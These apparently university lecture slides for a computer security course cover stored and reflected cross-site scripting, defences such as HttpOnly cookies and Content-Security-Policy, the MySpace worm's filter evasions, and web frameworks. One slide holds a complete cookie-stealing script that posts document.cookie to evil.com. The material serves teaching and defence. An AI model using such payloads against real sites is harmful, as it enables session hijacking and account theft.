Web Security IV: XSS mitigations, Web Frameworks

CS 1660: Introduction to Computer Systems Security
Stored Cross-Site Scripting
Cross-Site Scripting (XSS) (recap)

• Problem: users can submit text that will be displayed on web pages
• Browsers interpret everything in HTML pages as HTML
• What could go wrong?
Example

- Website allows posting of chirps
- Server puts comments into page:

  ChirpBook!<br />
  Here's what everyone else had to say:<br />
  Joe: Hi! <br />
  John: This is so <b>cool</b>! <br />
  Jane: How does <u>this</u> work? <br />

- Can include arbitrary HTML…
  Attacker: <script>alert("XSS Injection!"); </script> <br />

chirpbook.html
<html>
<title>ChirpBook!</title>
<body>
Chirp Away!
<form action="sign.php" method="POST">
<input type="text" name="name">
<input type="text" name="message" size="40">
<input type="submit" value="Submit">
</form>
</body>
</html>
Cookie Stealing

What happens if I submit this as a Chirpbook comment?

```javascript
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://evil.com/steal.php', true);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.send('cookie=' + document.cookie);
</script>
```
Stored XSS

POST /comment.php
comment=<script> /* make a post request to evil.com with document.cookie… */ </script>

INSERT INTO comments (value)
VALUES ('<script>…</script>')

["Hello", …, "<script>…</script>"]

3/7/23

Mitigations, XSS and Web Frameworks
Reflected XSS
Variant: ”Reflecting” User Input

Classic mistake in server apps...


search.php responds with:

<body>Query results for <?php echo $_GET[“query”]?> ...

<body>Query results for Brown University...

What can go wrong?
The Attack

Attacker ➔ User

Check out ChirpBook! It's lit!

www.chirpbook.com/search.php?query=\<script\>
The problem

• Once again: Input data treated as code
• Browser generally trusts code received from server

So what can we do about it?
XSS defenses
How do we defend against this?

Once again, defense in depth...

- Server-side: lots of sanitization
- Client-side: browser policy checking, anomaly detection, ...
Client-side: **HttpOnly** cookies

- **HttpOnly** Cookie attribute: prevents client-side scripts from accessing cookie
- Can prevent an XSS from accessing a cookie (at expense of how cookie can be used)
Client-side: **Content-Security-Policy**

Web application can be configured to instruct browser to load content only from certain origins

Eg. only allow loading documents from this origin

```
Content-Security-Policy: default-src 'self'
```

Eg. Restrict documents to this origin, with some exceptions

```
Content-Security-Policy: default-src 'self'; img-src *;
media-src example.org example.net; script-src userscripts.example.com
```
Client-side: Content-Security-Policy

Web application can be configured to instruct browser to load content only from certain origins

Eg. only allow loading documents from this origin

```
Content-Security-Policy: default-src 'self'
```

Eg. Restrict documents to this origin, with some exceptions

```
Content-Security-Policy: default-src 'self'; img-src *;
media-src example.org example.net; script-src userscripts.example.com
```

Opportunities for more precise control over what resources can be loaded
Server-side: Sanitization

• Once again, don't do this yourself!
• What to sanitize?
  – <script> tags
  – Quotes
  – Other ways HTML can be encoded...

More info: Flag wiki, OWASP filter evasion cheat sheet
What happens when user inputs need rich formatting?
How To Create A Great Page For Your MySpace

Videojug 834K subscribers  
Subscribe

2.3K views 11 years ago
In the Real World: MySpace Worm

• Users could post HTML on MySpace pages...
  — ...but MySpace blocks a lot of tags (except for `<a>`, `<img>`, and `<div>`)
    • No `<script>`, `<body>`, `onClick` attributes, `<a href=javascript://>`, ...
      ...but some browsers allowed JavaScript within CSS tags:
        — `<div style="background:url('javascript:eval(...)')">`

• ...but MySpace strips out the word “javascript”...
  — ...so use `<div style="background:url('java\nscript:eval(...)')">`

• ...but MySpace strips out all escaped quotes...
  — ...so convert from decimal: `String.fromCharCode(34)` to get “

• ...etc

Source: https://samy.pl/myspace/tech.html
In the Real World: MySpace Worm

 ```html
<div id="mycode" style="BACKGROUND: #FF0000; color: #FF0000;">url('java:s=25')
```
In the Real World: MySpace Worm

• Everyone who visits an “infected” profile page becomes infected and adds samy as a friend
  — Within 5 hours, samy has 1,005,831 friends
• Moral of the story:
  — Don’t homebrew your own filtering mechanisms
  — Use established libraries that you trust
  — Multiple valid representations make it difficult to account for every possible scenario

Source: https://samy.pl/myspace/tech.html
Rich text: What can we do instead?

- Does social media allow inline HTML anymore? Nope.
- An alternative: languages like markdown that are rendered to HTML

### Headings

To create a heading, add number signs (#) in front of a word or phrase. The number of number signs you use should correspond to the heading level. For example, to create a heading level three (<h3>), use three number signs (e.g., ### My Header).

<table>
<thead>
<tr>
<th>Markdown</th>
<th>HTML</th>
<th>Rendered Output</th>
</tr>
</thead>
<tbody>
<tr>
<td># Heading level 1</td>
<td>&lt;h1&gt;Heading level 1&lt;/h1&gt;</td>
<td>Heading level 1</td>
</tr>
<tr>
<td>## Heading level 2</td>
<td>&lt;h2&gt;Heading level 2&lt;/h2&gt;</td>
<td>Heading level 2</td>
</tr>
<tr>
<td>### Heading level 3</td>
<td>&lt;h3&gt;Heading level 3&lt;/h3&gt;</td>
<td>Heading level 3</td>
</tr>
</tbody>
</table>
Rich text: What can we do instead?

- Does social media allow inline HTML anymore? Nope.
- An alternative: languages like markdown that are rendered to HTML

<table>
<thead>
<tr>
<th>Markdown</th>
<th>HTML</th>
<th>Rendered Output</th>
</tr>
</thead>
<tbody>
<tr>
<td># Heading level 1</td>
<td>&lt;h1&gt;Heading level 1&lt;/h1&gt;</td>
<td>Heading level 1</td>
</tr>
<tr>
<td>### Heading level 3</td>
<td>&lt;h3&gt;Heading level 3&lt;/h3&gt;</td>
<td></td>
</tr>
</tbody>
</table>
One more thing...
Web Frameworks
Web Development

Usually managed by a 3-tier architecture with a client–server approach articulated in 3 layers logically separated in which:

- **Presentation**
  This level of the application is the user interface. The interface is used to translate tasks and results to something the user can understand.

- **Logic**
  This layer coordinates the application of the web site, and it moves and processes data between the two surrounding layers.

- **Data tiers**
  Information stored and retrieved from a database or file system. The information is passed back to the logic tier for processing, and then eventually back to the user.
Web Frameworks

Usually we do not develop website using just a text editor we use **Web Frameworks** that bring services e.g.:

- URL routing
- Input form managing and validation
- HTML, XML, JSON, AJAX, etc.
- Database connection
- Web security against Cross-site request forgery (CSRF), SQL Injection, Cross-site Scripting (XSS), etc.
- Session repository and retrieval
Web Security Standard solutions

• Usually web security is built in the framework or external libraries:
  – Authentication and session management (e.g. cookies generation)
  – Input validation (sanitization) through common patterns (email, credit card, etc.) or char escaping
  – Avoid building SQL from user input
  – Password: hash and salting
  – Etc.
Django in practice

- tryhackme.com/room/django
- Task 5 start machine, ssh in the remote system
- add to Django settings.py the ip of the machine
- Configure superuser
  - python3 message.py createsuperuser
- Change the configuration for CSRF
  - nano settings.py (e.g. csrf middleware)
- Test CSRF on cs.brown.edu
  - Safe methods (get vs. post)
  - https://datatracker.ietf.org/doc/html/rfc7231.html#section-4.2.1
What We Have Learned

• XSS (DOM)
  – Example attacks and mitigation techniques
– Web Framework
– Django examples
Class Discussion

Do we trust:

A. the integrity of request coming in from the user’s browser?

B. that upstream services have done the work to make our data clean and safe?

C. the connection between the user’s browser and our application cannot be tampered?
Threat and risk modeling process

- **Browser may attack**
  - Server
  - Other browsers
- **Server may attack**
  - Browser
  - Machine of browser
  - Other servers
- **User may trust**
  - Server to protect user data
  - Server to protect browser from other servers
  - Browser to protect user data
  - Browser to protect user from malicious server
Tophat poll

how much responsibility do you want to give to web users?
A) cautioned not to visit certain sites
B) an explicit block on these sites